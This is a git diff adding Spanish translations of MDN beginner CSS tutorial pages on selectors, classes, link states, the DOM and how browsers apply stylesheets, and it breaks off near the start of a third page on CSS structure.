diff --git a/files/es/learn/css/first_steps/comenzando_css/index.html b/files/es/learn/css/first_steps/comenzando_css/index.html
new file mode 100644
index 0000000000..1da9edb582
--- /dev/null
+++ b/files/es/learn/css/first_steps/comenzando_css/index.html
@@ -0,0 +1,264 @@
+---
+title: Empezar con CSS
+slug: Learn/CSS/First_steps/Comenzando_CSS
+tags:
+  - Aprender
+  - CSS
+  - Clases
+  - Ejemplo
+  - Elementos
+  - Estado
+  - Principiante
+  - Selectores
+  - Sintaxis
+translation_of: Learn/CSS/First_steps/Getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</div>
+
+<p class="summary">En este artículo aplicaremos CSS a un documento HTML sencillo para aprender algunos elementos prácticos sobre este lenguaje.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajo con archivos</a> y conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender los conceptos básicos para vincular un documento CSS a un archivo HTML y dar a un texto un formato sencillo con CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Empezamos_con_algo_de_HTML">Empezamos con algo de HTML</h2>
+
+<p>Nuestro punto de partida es un documento HTML. Puedes copiar el código de abajo si quieres trabajar en tu ordenador. Guarda el siguiente código como <code>index.html</code> en una carpeta de tu equipo.</p>
+
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html lang="es"&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Empezamos con el CSS&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+    &lt;h1&gt;Soy un título de nivel uno&lt;/h1&gt;
+
+    &lt;p&gt;Este es un párrafo de texto. En el texto hay un &lt;span&gt;elemento span&lt;/span&gt;
+y también un &lt;a href="http://example.com"&gt;enlace&lt;/a&gt;.&lt;/p&gt;
+
+    &lt;p&gt;Este es el segundo párrafo. Contiene un elemento &lt;em&gt;destacado&lt;/em&gt;.&lt;/p&gt;
+
+    &lt;ul&gt;
+        &lt;li&gt;Punto uno&lt;/li&gt;
+        &lt;li&gt;Punto dos&lt;/li&gt;
+        &lt;li&gt;Punto &lt;em&gt;tres&lt;/em&gt;&lt;/li&gt;
+    &lt;/ul&gt;
+
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Si lees esto en un dispositivo o un entorno donde no puedes crear archivos fácilmente, no te preocupes. A continuación hay editores de código en vivo que van a permitirte escribir ejemplos de código en esta misma página.</p>
+</div>
+
+<h2 id="Agregar_CSS_a_un_documento">Agregar CSS a un documento</h2>
+
+<p>Lo primero que se debe hacer es decirle al documento HTML que hay algunas reglas CSS que queremos que use. Hay tres formas diferentes de aplicar CSS a un documento HTML, sin embargo, por ahora, veremos la forma más habitual y útil de hacerlo: vincular el CSS desde el encabezado del documento.</p>
+
+<p>Crea un archivo en la misma carpeta que tu documento HTML y guárdalo como <code>styles.css</code>. La extensión <code>.css</code> muestra que es un archivo CSS.</p>
+
+<p>Para vincular <code>styles.css</code> a <code>index.html</code>, añade la siguiente línea en algún lugar dentro del {{htmlelement ("head")}} del documento HTML:</p>
+
+<pre class="brush: html notranslate">&lt;link rel="stylesheet" href="styles.css"&gt;</pre>
+
+<p>Este elemento {{htmlelement ("link")}} le dice al navegador que hay una hoja de estilo con el atributo <code>rel</code> y la ubicación de esa hoja de estilo como el valor del atributo <code>href</code>. Puedes probar si el CSS funciona añadiendo una regla a <code>styles.css</code>. Usando el editor de código, añade lo siguiente al archivo CSS:</p>
+
+<pre class="brush: css notranslate">h1 {
+  color: red;
+}</pre>
+
+<p>Guarda los archivos HTML y CSS antes de volver a cargar la página en un navegador web. Ahora el título de nivel uno de la parte superior del documento debería ser rojo. Si esto sucede, ¡felicidades!: has aplicado correctamente un poco de CSS a un documento HTML. Si no lo hace, verifica que hayas escrito todo correctamente.</p>
+
+<p>Puedes continuar trabajando en <code>styles.css</code> localmente o usar nuestro editor interactivo para continuar con este tutorial. El editor interactivo actúa como si el CSS del primer panel estuviera vinculado al documento HTML, tal como lo hemos hecho con el documento anterior.</p>
+
+<h2 id="Dar_formato_a_elementos_HTML">Dar formato a elementos HTML</h2>
+
+<p>Al poner nuestro título de encabezado en rojo, ya hemos demostrado que podemos elegir un elemento HTML y darle formato. Hacemos esto con un <em>selector de elementos</em>: un selector que coincide directamente con el nombre de un elemento HTML. Para determinar todos los párrafos del documento, se usa el selector <code>p</code>. Para hacer que todos los párrafos se vean verdes se usa:</p>
+
+<pre class="brush: css notranslate">p {
+  color: green;
+}</pre>
+
+<p>Puedes determinar múltiples selectores a la vez, separándolos con una coma. Si queremos que todos los párrafos y todos los elementos de la lista sean verdes, el código se verá así:</p>
+
+<pre class="brush: css notranslate">p, li {
+    color: green;
+}</pre>
+
+<p>Pruébalo en el editor interactivo que encontrarás a continuación (edita los cuadros de código) o en tu documento CSS.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} </p>
+
+<h2 id="Cambiar_el_comportamiento_predeterminado_de_los_elementos">Cambiar el comportamiento predeterminado de los elementos</h2>
+
+<p>Cuando miramos un documento HTML bien marcado, incluso con algo tan simple como nuestro ejemplo, podemos ver que el navegador facilita la legibilidad de este documento HTML al añadir un estilo predeterminado. Los títulos se muestran grandes y en negrita, y la lista tiene viñetas. Esto sucede porque los navegadores tienen hojas de estilo internas que contienen estilos predeterminados, los cuales se aplican a todas las páginas por defecto. Sin ellos, todo el texto se uniría en un grupo y tendríamos que darle formato desde cero. Todos los navegadores modernos muestran el contenido HTML por defecto de la misma manera.</p>
+
+<p>Sin embargo, a menudo querrás algo diferente a la elección que ha hecho el navegador. Esto se puede solucionar con el simple hecho de escoger el elemento HTML que deseas cambiar y utilizar una regla CSS para cambiar su apariencia.  Un buen ejemplo es <code>&lt;ul&gt;</code>, que muestra una lista desordenada. Tiene viñetas y, si decidimos que no las queremos, podemos eliminarlas de este modo:</p>
+
+<pre class="brush: css notranslate">li {
+  list-style-type: none;
+}</pre>
+
+<p>Ahora, intenta añadir esto a tu CSS.</p>
+
+<p>Es muy conveniente consultar en MDN la propiedad <code>list-style-type</code> para ver qué valores admite. Echa un vistazo a la página de <code><a href="/en-US/docs/Web/CSS/list-style-type">list-style-type</a></code> y encontrarás un ejemplo interactivo en la parte superior para probar diferentes valores (todos los permitidos se detallan más abajo en esa misma página).</p>
+
+<p>Al mirar esa página, descubrirás que, además de eliminar las viñetas de la lista, también puedes cambiarlas. Intenta cambiarlas por unas cuadradas utilizando el valor <code>square</code>.</p>
+
+<h2 id="Añadir_una_clase">Añadir una clase</h2>
+
+<p>Hasta ahora, hemos utilizado elementos cuyo nombre se basa en el nombre de elemento que reciben en HTML. Esto funciona siempre que se desee que todos los elementos de ese tipo tengan el mismo aspecto en el documento. La mayoría de las veces no es el caso, por lo que deberás encontrar una manera de seleccionar un subconjunto de los elementos sin que cambien los demás. La forma más común de hacer esto es añadir una clase al elemento HTML y determinarla.</p>
+
+<p>En tu documento HTML, añade al segundo elemento de la lista un <a href="/es/docs/Web/HTML/Atributos_Globales/class">atributo de clase</a>. Debería verse así:</p>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;Punto uno&lt;/li&gt;
+  &lt;li <strong>class = "special"</strong>&gt;Punto dos&lt;/li&gt;
+  &lt;li&gt;Punto &lt;em&gt;tres&lt;/em&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>En tu CSS, puedes seleccionar una clase <code>special</code> creando un selector que comience con un carácter de punto final. Añade lo siguiente a tu archivo CSS:</p>
+
+<pre class="brush: css notranslate">.special {
+  color: orange;
+  font-weight: bold;
+}</pre>
+
+<p>Guarda y actualiza para ver cuál es el resultado.</p>
+
+<p>Puedes aplicar la clase <code>special</code> a cualquier elemento de la página que desees que tenga el mismo aspecto que este elemento de lista. Por ejemplo, es posible que desees que el <code>&lt;span&gt;</code> del párrafo también sea naranja y en negrita. Intenta añadirle una <code>class</code> <code>special</code>, luego vuelve a cargar la página y observa qué sucede.</p>
+
+<p>A veces verás reglas con un selector que enumera el selector de elementos HTML junto con la clase:</p>
+
+<pre class="brush: css notranslate">li.special {
+  color: orange;
+  font-weight: bold;
+}</pre>
+
+<p>Esta sintaxis significa «determina cualquier elemento <code>li</code> que tenga una clase special». Si hicieras esto, ya no podrías aplicar la clase a un elemento <code>&lt;span&gt;</code> u otro elemento simplemente añadiéndole la clase; tendrías que añadir ese elemento a la lista de selectores:</p>
+
+<pre class="brush: css notranslate">li.special,
+span.special {
+  color: orange;
+  font-weight: bold;
+}</pre>
+
+<p>Como puedes imaginar, algunas clases pueden aplicarse a muchos elementos y no queremos tener que seguir editando el CSS cada vez que algo nuevo necesita adoptar ese estilo. Por lo tanto, a veces es mejor eludir el elemento y simplemente referirse a la clase, a menos que sepas que vas a querer crear algunas reglas especiales para un solo elemento y tal vez quieras asegurarte de que no se apliquen a otros elementos.</p>
+
+<h2 id="Dar_formato_según_la_ubicación_en_un_documento">Dar formato según la ubicación en un documento</h2>
+
+<p>Hay momentos en los que querrás que algo se vea diferente en función de dónde esté en el documento. Hay múltiples selectores que pueden hacerlo, pero por ahora veremos solo un par. En nuestro documento hay dos elementos <code>&lt;em&gt;</code>: uno dentro de un párrafo y el otro dentro de un elemento de la lista. Para seleccionar solo un <code>&lt;em&gt;</code> que esté anidado dentro de un elemento <code>&lt;li&gt;</code>, podemos usar un selector llamado <strong>combinador descendente</strong>, que simplemente toma la forma de un espacio entre otros dos selectores.</p>
+
+<p>Añade la siguiente regla a la hoja de estilo.</p>
+
+<pre class="brush: css notranslate">li em {
+  color: rebeccapurple;
+}</pre>
+
+<p>Este selector separará cualquier elemento <code>&lt;em&gt;</code> que esté dentro de (un descendiente de) <code>&lt;li&gt;</code>. Entonces, en tu documento de ejemplo, deberías encontrar que el <code>&lt;em&gt;</code> del tercer elemento de la lista es morado, pero el que hay en el párrafo no ha cambiado.</p>
+
+<p>Otra cosa que puedes probar es dar formato un párrafo que venga directamente a continuación de un título que esté en el mismo nivel de jerarquía en el HTML. Para hacerlo, coloca un <code>+</code> (un <strong>combinador hermano adyacente</strong>) entre los selectores.</p>
+
+<p>Intenta añadir también esta regla a la hoja de estilo:</p>
+
+<pre class="brush: css notranslate">h1 + p {
+  font-size: 200%;
+}</pre>
+
+<p>El ejemplo que encontrarás a continuación incluye las dos reglas anteriores. Intenta añadir una regla para que un <code>span</code> dentro de un párrafo se vuelva rojo. Sabrás si lo has hecho bien si el <code>&lt;span&gt;</code> en el primer párrafo se vuelve rojo pero el que hay en el primer elemento de la lista no cambia de color.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Como puedes ver, el CSS nos ofrece varias formas de seleccionar elementos, y hasta ahora solo hemos arañado la superficie. Examinaremos todos estos selectores y muchos más en los artículos correspondientes a <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS">Selectores</a> que encontrarás más adelante.</p>
+</div>
+
+<h2 id="Dar_formato_según_el_estado">Dar formato según el estado</h2>
+
+<p>El último tipo de estilo que veremos en este tutorial es la capacidad de dar formato a los elementos en función de su estado. Un ejemplo sencillo es el estilo de los enlaces. Cuando damos formato a un enlace, necesitamos seleccionar el elemento <code><a href="/en-US/docs/Web/HTML/Element/a">&lt;a&gt;</a></code> (anclaje). Tiene diferentes estados dependiendo de si se ha visitado o no, se pasa por encima, o se presiona con el teclado o se hace clic (se activa). Puedes usar CSS para dar formato a estos diferentes estados. El CSS que encontrarás a continuación presenta en color rosa los enlaces que no se han visitado y en verde los que sí.</p>
+
+<pre class="brush: css notranslate">a:link {
+  color: pink;
+}
+
+a:visited {
+  color: green;
+}</pre>
+
+<p>Puedes cambiar la apariencia del enlace, por ejemplo, eliminando el subrayado, lo que se logra mediante la siguiente regla:</p>
+
+<pre class="brush: css notranslate">a:hover {
+  text-decoration: none;
+}</pre>
+
+<p>En el ejemplo que encontrarás a continuación, puedes jugar con diferentes valores para los distintos estados de un enlace. Hemos añadido las reglas anteriores y ahora nos damos cuenta de que el color rosa es demasiado claro y difícil de leer, ¿por qué no cambiarlo a otro que se vea mejor? ¿Puedes poner los enlaces en negrita?</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} </p>
+
+<p>Hemos eliminado el subrayado del enlace cuando el ratón se pasa por encima, y se puede eliminar de todos los estados de un enlace. Sin embargo, vale la pena recordar que en una página web real deberás asegurarte de que los visitantes sepan reconocer que se trata de un enlace. Que aparezca subrayado puede ser una pista importante para que las personas se den cuenta de que pueden hacer clic en una palabra dentro del párrafo, ya que es a lo que están acostumbrados. Al igual que con todo en CSS, existe la posibilidad de que tus cambios resten accesibilidad al documento. Intentaremos resaltar estas posibles dificultades en los lugares apropiados.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: a menudo verás que se menciona la <a href="/es/docs/Learn/Accessibility">accesibilidad</a> en estas lecciones y en MDN. Cuando hablamos de accesibilidad nos referimos al requisito de que nuestras páginas web sean comprensibles y usables para todas las personas.</p>
+
+<p>Puede que tu visitante acceda a la página desde un ordenador con ratón o trackpad, o un teléfono inteligente con pantalla táctil. O puede que use un lector de pantalla que lea el contenido del documento, así como puede que necesite un tamaño de texto más grande o navegar por la página usando solo el teclado.</p>
+
+<p>Un documento HTML simple es, generalmente, accesible para todos. Es importante que el documento no pierda accesibilidad a medida que vayas aplicándole estilo.</p>
+</div>
+
+<h2 id="Combinaciones_de_selectores_y_combinadores">Combinaciones de selectores y combinadores</h2>
+
+<p>Vale la pena señalar que puedes hacer múltiples combinaciones de selectores y combinadores. Por ejemplo:</p>
+
+<pre class="brush: css notranslate">/* selecciona cualquier elemento &lt;span&gt; que se encuentre dentro de un &lt;p&gt;, que esté dentro de un &lt;artículo&gt; */
+artículo p span { ... }
+
+/* selecciona cualquier &lt;p&gt; que se encuentre directamente después de &lt;ul&gt;, que va directamente después de &lt;h1&gt; */
+h1 + ul + p { ... }</pre>
+
+<p>También puedes combinar varios tipos juntos. Intenta añadir lo siguiente al código:</p>
+
+<pre class="brush: css notranslate">body h1 + p .special {
+  color: yellow;
+  background-color: black;
+  padding: 5px;
+}</pre>
+
+<p>Dará formato a cualquier elemento con la clase <code>special</code>, dentro de un elemento <code>&lt;p&gt;</code> que venga justo después de <code>&lt;h1&gt;</code>, el cual se encuentra dentro de <code>&lt;body&gt;</code>. ¡Uf!</p>
+
+<p>En el HTML original que proporcionamos, el único elemento al que esto aplica estilo es <code>&lt;span class="special"&gt;</code>.</p>
+
+<p>No te preocupes si ahora mismo te parece complicado: irás acostumbrarte a medida que escribas más CSS.</p>
+
+<h2 id="Para_terminar">Para terminar</h2>
+
+<p>En este tutorial, hemos visto varias formas con las que se puede diseñar un documento usando CSS. Desarrollaremos este conocimiento a medida que avancemos con el resto de las lecciones. Sin embargo, ahora ya sabes lo suficiente como para aplicar estilo al texto, aplicar CSS en función de diferentes formas de determinar elementos en el documento y buscar propiedades y valores en la documentación de MDN.</p>
+
+<p>En el próximo artículo, veremos cómo se estructura el CSS.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">¿Qué es el CSS?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">Empezar con CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">Cómo se estructura el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">Cómo funciona el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Pon en práctica tus conocimientos nuevos</a></li>
+</ol>
diff --git a/files/es/learn/css/first_steps/como_funciona_css/index.html b/files/es/learn/css/first_steps/como_funciona_css/index.html
new file mode 100644
index 0000000000..920212e080
--- /dev/null
+++ b/files/es/learn/css/first_steps/como_funciona_css/index.html
@@ -0,0 +1,156 @@
+---
+title: Cómo funciona CSS
+slug: Learn/CSS/First_steps/Como_funciona_CSS
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>{{LearnSidebar}}<br>
+ {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p>
+
+<p class="summary">Hemos aprendido los conceptos básicos de CSS, para qué sirve y cómo escribir hojas de estilo simples. En esta lección vamos a echar un vistazo a cómo un navegador crea una página web a partir de CSS y HTML.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de cómo <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a> y conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender los conceptos básicos de cómo el navegador analiza el CSS y el HTML y lo que sucede cuando encuentra un CSS que no entiende.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Cómo_funciona_realmente_el_CSS">¿Cómo funciona realmente el CSS?</h2>
+
+<p>Cuando un navegador muestra un documento, ha de combinar el contenido con la información de estilo del documento. Procesa el documento en una serie de etapas, que enumeraremos a continuación. Ten en cuenta que este es un modelo muy simplificado de lo que sucede cuando un navegador carga una página web y que cada navegador gestiona el proceso de manera diferente. Pero esto es más o menos lo que sucede.</p>
+
+<ol>
+ <li>El navegador carga el HTML (por ejemplo, lo recibe de la red).</li>
+ <li>Convierte el {{Glossary("HTML")}} en un {{Glossary("DOM")}} (<em>Modelo de objetos del documento</em>). El DOM representa el documento en la memoria del ordenador. Lo explicaremos más detalladamente en la sección siguiente.</li>
+ <li>Entonces, el navegador va a buscar la mayor parte de los recursos vinculados al documento HTML, como las imágenes y los videos incrustados... ¡y también el CSS vinculado! JavaScript aparece un poco más adelante en el proceso, pero no vamos a hablar de ello aún para evitar complicar las cosas.</li>
+ <li>El navegador analiza el CSS y ordena en diferentes «cubos» las diferentes reglas según el tipo de selector. Por ejemplo, elemento, clase, ID, y así sucesivamente. Para cada tipo de selector que encuentres, calcula qué reglas deben aplicarse y a qué nodos en el DOM se les aplica el estilo según corresponda (este paso intermedio se llama árbol de renderización).</li>
+ <li>El árbol de renderización presenta la estructura en que los nodos deben aparecer después de aplicarle las reglas.</li>
+ <li>En la pantalla se muestra el aspecto visual de la página (esta etapa se llama pintura).</li>
+</ol>
+
+<p>El siguiente diagrama ofrece una visión sencilla de este proceso.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11781/rendering.svg" style="height: auto; max-width: 635px; width: 100%;"></p>
+
+<h2 id="Acerca_del_DOM">Acerca del DOM</h2>
+
+<p>Un DOM tiene una estructura en forma de árbol. Cada elemento, atributo o bloque en el lenguaje de marcado se convierte en un {{Glossary("Node/DOM","nodo DOM")}} con estructura de árbol. Los nodos se definen por su relación con otros nodos DOM. Algunos elementos son padres de nodos secundarios, y estos nodos hijos tienen hermanos.</p>
+
+<p>Comprender el DOM te ayuda a diseñar, depurar y mantener tu CSS porque en el DOM es donde tu CSS se encuentra con el contenido del documento. Cuando comiences a trabajar con las herramientas DevTools (o herramientas del desarrollador) del navegador, te moverás por el DOM mientras seleccionas elementos con el fin de ver qué reglas se aplican.</p>
+
+<h2 id="Una_representación_real_de_un_DOM">Una representación real de un DOM</h2>
+
+<p>En lugar de una explicación larga y aburrida, veamos un ejemplo para entender cómo un código HTML se convierte en DOM.</p>
+
+<p>Tomemos el siguiente código HTML:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Usaremos:
+  &lt;span&gt;Hojas&lt;/span&gt;
+  &lt;span&gt;de estilo&lt;/span&gt;
+  &lt;span&gt;en cascada&lt;/span&gt;
+&lt;/p&gt;
+</pre>
+
+<p>En el DOM, el nodo que se corresponde con nuestro elemento <code>&lt;p&gt;</code> es un padre. Sus hijos son un nodo de texto y los tres nodos correspondientes a nuestros elementos <code>&lt;span&gt;</code>. Los nodos <code>SPAN</code> son también los <span style="background-color: #f5f6f5;">padres</span>, y los nodos de texto sus hijos:</p>
+
+<pre class="notranslate">P
+├─ "Usaremos:"
+├─ SPAN
+|  └─ "Hojas"
+├─ SPAN
+|  └─ "de estilo"
+└─ SPAN
+   └─ "en cascada"
+</pre>
+
+<p>Así es como un navegador interpreta el código HTML anterior, interpreta el árbol DOM y luego lo muestra en el navegador, así:</p>
+
+<p>{{EmbedLiveSample('Una_representación_real_de_un_DOM', '100%', 55)}}</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">p {margin:0;}</pre>
+</div>
+
+<h2 id="La_aplicación_de_CSS_al_DOM">La aplicación de CSS al DOM</h2>
+
+<p>Pongamos que hemos añadido un poco de CSS a nuestro documento, para darle estilo. Una vez más, el HTML es el siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Usaremos:
+  &lt;span&gt;Hojas&lt;/span&gt;
+  &lt;span&gt;de estilo&lt;/span&gt;
+  &lt;span&gt;en cascada&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<p>Supongamos que le aplicamos el CSS siguiente:</p>
+
+<pre class="brush: css notranslate">span {
+  border: 1px solid black;
+  background-color: lime;
+}</pre>
+
+<p>El navegador analizará el código HTML y creará un DOM a partir de este. A continuación, analizará el CSS. Dado que la única regla disponible en el CSS tiene un selector <code>span</code>, el navegador ¡ordenará el CSS muy rápidamente! Aplicará la regla a cada uno de los tres <code>&lt;span&gt;</code>, que mostrarán en pantalla la representación visual final.</p>
+
+<p>La salida actualizada es la siguiente:</p>
+
+<p>{{EmbedLiveSample ( 'La_aplicación_de_CSS_al_DOM', '100%', 55)}}</p>
+
+<p>En nuestro artículo <a href="/es/docs/Learn/CSS/Building_blocks/Depurar_el_CSS">Depurar el CSS</a> que encontrarás en el siguiente módulo, vamos a utilizar las herramientas DevTools del navegador para depurar posibles problemas en el CSS. También aprenderemos más sobre cómo el navegador interpreta el CSS.</p>
+
+<h2 id="¿Qué_ocurre_si_un_navegador_encuentra_CSS_que_no_entiende">¿Qué ocurre si un navegador encuentra CSS que no entiende?</h2>
+
+<p>En una <a href="/es/docs/Learn/CSS/First_steps/Qu%C3%A9_es_CSS#Soporte_del_navegador">lección anterior</a> mencionamos que no todos los navegadores implementan las novedades de CSS en el mismo momento. Además, no todo el mundo utiliza la última versión de un navegador. Dado que el CSS está en desarrollo constante y, por lo tanto, por delante de lo que los navegadores pueden reconocer, puede que te preguntes qué sucede si un navegador encuentra un selector o una declaración CSS que no reconoce.</p>
+
+<p>La respuesta es que no hace nada y simplemente pasa a la siguiente parte del CSS.</p>
+
+<p>Si un navegador analiza tus reglas y encuentra una propiedad o un valor que no entiende, lo ignora y avanza hasta la declaración siguiente. Esto sucederá si has cometido un error y has escrito mal una propiedad o un valor, o si la propiedad o el valor son demasiado nuevos y el navegador aún no los admite.</p>
+
+<p>Del mismo modo, si un navegador encuentra un selector que no entiende, lo ignorará y pasará al siguiente.</p>
+
+<p>En el siguiente ejemplo hemos utilizado la ortografía británica para la propiedad color, que invalida la propiedad porque no la reconoce. Así que el párrafo no se muestra en azul. Sin embargo, se han aplicado todos los demás estilos del CSS; solo se ha ignorado la línea que no es válida.</p>
+
+<div id="Skipping_example">
+<pre class="brush: html notranslate">&lt;p&gt;Quiero este texto en grande, en negrita y en color azul.&lt;/p&gt;</pre>
+
+<pre class="brush: css notranslate">p {
+  font-weight: bold;
+  colour: blue; /* Ortografía incorrecta de la propiedad color */
+  font-size: 200%;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('Skipping_example', '100%', 200)}}</p>
+
+<p>Este comportamiento es muy útil. Significa que puedes utilizar el CSS nuevo como una mejora, a sabiendas de que no se producirá ningún error si no se entiende: o bien el navegador entiende la característica nueva o no lo hace. Combinado con el funcionamiento del modo en cascada con el hecho de que los navegadores utilizarán la última CSS que encuentren en la hoja de estilo, cuando haya dos reglas con el mismo nivel de especificidad, también puedes ofrecer alternativas para los navegadores que no admiten el CSS nuevo.</p>
+
+<p>Esto funciona especialmente bien cuando quieres utilizar un valor que es bastante nuevo que no admiten todos los navegadores. Por ejemplo, algunos navegadores antiguos no entienden <code>calc()</code> como valor. Podríamos dar un valor de sustitución para el ancho de una caja en píxeles, y a continuación dar un ancho con un valor <code>calc()</code> de <code>100% - 50px</code>. Los navegadores antiguos usarán la versión en píxeles y harán caso omiso de la indicación <code>calc()</code>, porque no la entienden. Los navegadores nuevos interpretarán la línea del ancho en píxeles, pero la anularán al llegar a la línea de <code>calc()</code> porque aparece después en la cascada.</p>
+
+<pre class="brush: css notranslate">.box {
+  width: 500px;
+  width: calc(100% - 50px);
+}</pre>
+
+<p>En lecciones posteriores veremos muchas más formas de cómo admitir navegadores diferentes.</p>
+
+<h2 id="Y_finalmente">Y finalmente</h2>
+
+<p>Casi has terminado este módulo; solo nos queda una cosa más por hacer. En el próximo artículo, <a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">pondrás en práctica tu conocimiento nuevo</a> para cambiar el estilo de un ejemplo y probarte con un poco de CSS en el proceso.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">¿Qué es CSS?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">Empezar con CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">Cómo se estructura el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">Cómo funciona el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Pon en práctica tus conocimientos nuevos</a></li>
+</ol>
diff --git a/files/es/learn/css/first_steps/como_se_estructura_css/index.html b/files/es/learn/css/first_steps/como_se_estructura_css/index.html
new file mode 100644
index 0000000000..a3e9bb94b8
--- /dev/null
+++ b/files/es/learn/css/first_steps/como_se_estructura_css/index.html
@@ -0,0 +1,512 @@
+---
+title: Cómo se estructura el CSS
+slug: Learn/CSS/First_steps/Como_se_estructura_CSS
+translation_of: Learn/CSS/First_steps/How_CSS_is_structured
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</div>
+
+<p class="summary">Ahora que ya sabes qué es el CSS y conoces sus conceptos básicos, es hora de profundizar un poco más en la estructura del lenguaje en sí. Ya hemos visto muchos de los conceptos que aparecen en este artículo; puedes volver para recapitular si más adelante encuentras conceptos confusos.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajo con archivos</a>, conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y una idea de <a href="/es/docs/Learn/CSS/First_steps/Como_funciona_CSS">cómo funciona el CSS</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender en detalle las estructuras de sintaxis fundamentales de CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Aplicar_CSS_al_HTML">Aplicar CSS al HTML</h2>
+
+<p>Lo primero que veremos son los tres métodos para aplicar CSS a un documento.</p>
+
+<h3 id="Hoja_de_estilo_externa">Hoja de estilo externa</h3>
+
+<p>En <a href="/es/docs/Learn/CSS/First_steps/Comenzando_CSS">Empezar con el CSS</a>, vinculamos una hoja de estilo externa a nuestra página. Este es el método más común y útil para adjuntar CSS a un documento, porque puedes vincular el CSS a varias páginas y dar estilo a todas ellas con la misma hoja de estilo. En la mayoría de los casos, las diferentes páginas de un sitio web se verán más o menos iguales, de modo que puedes usar el mismo conjunto de reglas para el aspecto y la interacción básicos.</p>
+
+<p>Una hoja de estilo externa significa que el CSS está escrito en un archivo independiente con una extensión <code>.css</code> y que lo vinculas desde un elemento <code>&lt;link&gt;</code> de HTML:</p>
+
